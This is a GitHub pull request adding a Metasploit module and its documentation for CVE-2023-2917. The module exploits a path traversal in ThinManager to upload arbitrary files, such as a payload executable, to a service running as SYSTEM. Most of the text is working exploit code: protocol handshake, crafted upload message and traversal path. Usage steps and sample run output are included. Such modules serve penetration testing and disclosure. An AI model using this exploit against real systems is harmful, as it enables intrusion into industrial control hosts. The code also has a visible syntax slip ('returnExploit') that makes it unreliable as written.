Skip to content

ThinManager Path Traversal Upload (CVE-2023-2917) Module #20141

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
## Vulnerable Application

This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2917) to upload an arbitrary file to the target
system.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.

## Testing

The software can be obtained from
[the vendor](https://thinmanager.com/downloads/).

**Successfully tested on**

- ThinManager v13.1.0 on Windows 22H2
- ThinManager v13.0.1 on Windows 22H2
- ThinManager v12.0.0 on Windows 22H2
- ThinManager v12.1.5 on Windows 22H2
- ThinManager v12.0.4 on Windows 22H2

## Verification Steps

1. Install and run the application
2. Start `msfconsole` and run the following commands:

```
msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload2
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RHOSTS <IP>
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set LFILE <local file location>
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RFILE <remote file location>
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
```

This should upload the local file specified through LFILE to the server, as specified in RFILE.

## Options

### LFILE
Specifies the local file to upload to the remote server.

### RFILE
Specifies the remote file location where the file will be uploaded to.

## Scenarios

Running the exploit against ThinManager v13.1.0 on Windows 22H2 should result in an output similar to the following:

```
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
[*] Running module against 192.168.137.229

[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
[*] 192.168.137.229:2031 - Sending handshake...
[*] 192.168.137.229:2031 - Received handshake response.
[*] 192.168.137.229:2031 - Read 27648 bytes from /tmp/payload.exe
[*] 192.168.137.229:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
[*] 192.168.137.229:2031 - Upload request length: 27752 bytes
[!] 192.168.137.229:2031 - No response received after upload.
[+] 192.168.137.229:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
[*] Auxiliary module execution completed
```
161 changes: 161 additions & 0 deletions modules/auxiliary/admin/networking/thinmanager_traversal_upload2.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,161 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
CheckCode = Exploit::CheckCode

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ThinManager Path Traversal (CVE-2023-2917) Arbitrary File Upload',
'Description' => %q{
This module exploits a path traversal vulnerability (CVE-2023-2917) in ThinManager <= v13.1.0 to upload arbitrary files to the target system.

The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
},
'Author' => [
'Michael Heinzl', # MSF Module
'Tenable' # Discovery and PoC
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-2917 '],
['URL', 'https://www.tenable.com/security/research/tra-2023-28'],
['URL', 'https://support.rockwellautomation.com/app/answers/answer_view/a_id/1140471']
],
'DisclosureDate' => '2023-08-17',
'DefaultOptions' => {
'RPORT' => 2031,
'SSL' => 'False'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
OptString.new('LFILE', [false, 'The local file to transfer to the remote system.', '/tmp/payload.exe']),
OptString.new('RFILE', [false, 'The file path to store the file on the remote system.', '/Program Files/Rockwell Software/ThinManager/payload.exe']),
OptInt.new('DEPTH', [ true, 'The traversal depth. The FILE path will be prepended with ../ * DEPTH', 7 ])
]
)
end

def check
begin
connect
rescue Rex::ConnectionTimeout => e
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
end

vprint_status('Sending handshake...')
handshake = [0x100].pack('V')
vprint_status(Rex::Text.to_hex_dump(handshake))
sock.put(handshake)

res = sock.get_once(4096, 5)
expected_header = "\x00\x04\x00\x01\x00\x00\x00\x08".b

if res && res.start_with?(expected_header)
vprint_status('Received handshake response.')
vprint_status(Rex::Text.to_hex_dump(res))
disconnect
return CheckCode::Detected
elsif res
vprint_status('Received unexpected handshake response:')
vprint_status(Rex::Text.to_hex_dump(res))
disconnect
return Exploit::CheckCode::Safe
else
disconnect
returnExploit::CheckCode::Unknown('No handshake response received.')
end
end

def mk_msg(msg_type, flags, data)
dlen = data.length
hdr = [msg_type, flags, dlen].pack('nnN')
hdr + data
end

def run
begin
connect
rescue Rex::ConnectionTimeout => e
fail_with(Failure::Unreachable, "Connection to #{datastore['RHOSTS']}:#{datastore['RPORT']} failed: #{e.message}")
end

print_status('Sending handshake...')
handshake = [0x100].pack('V')
vprint_status(Rex::Text.to_hex_dump(handshake))
sock.put(handshake)

res = sock.get_once(4096, 5)
if res
print_status('Received handshake response.')
vprint_status(Rex::Text.to_hex_dump(res))
else
print_error('No handshake response received.')
end

lfile = datastore['LFILE']
rfile = datastore['RFILE']
file_data = ::File.binread(lfile)
print_status("Read #{file_data.length} bytes from #{lfile}")

traversal = '../' * datastore['DEPTH']

full_path = (traversal + rfile).force_encoding('ASCII-8BIT')
file_data.force_encoding('ASCII-8BIT')

begin
data = [0xaa].pack('N')
data << [0xbb].pack('N')
data << full_path + "\x00"
data << "file_type\x00"
data << "unk_str3\x00"
data << "unk_str4\x00"
data << [file_data.length].pack('N')
data << [file_data.length].pack('N')
data << file_data
data.force_encoding('ASCII-8BIT')

req = mk_msg(38, 0x0021, data)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to build upload request: #{e.class} - #{e.message}")
end

print_status("Uploading #{lfile} as #{rfile} on the remote host...")

print_status("Upload request length: #{req.length} bytes")
vprint_status("Upload request:\n#{Rex::Text.to_hex_dump(req)}")

sock.put(req)

begin
res = sock.get_once(4096, 5)
if res
print_good('Received response from target:')
vprint_status(Rex::Text.to_hex_dump(res))
else
print_warning('No response received after upload.')
end
rescue ::EOFError, ::Timeout::Error => e
print_error("Socket error: #{e.class} - #{e.message}")
end

disconnect
print_good("Upload process completed. Check if '#{rfile}' exists on the target.")
end

end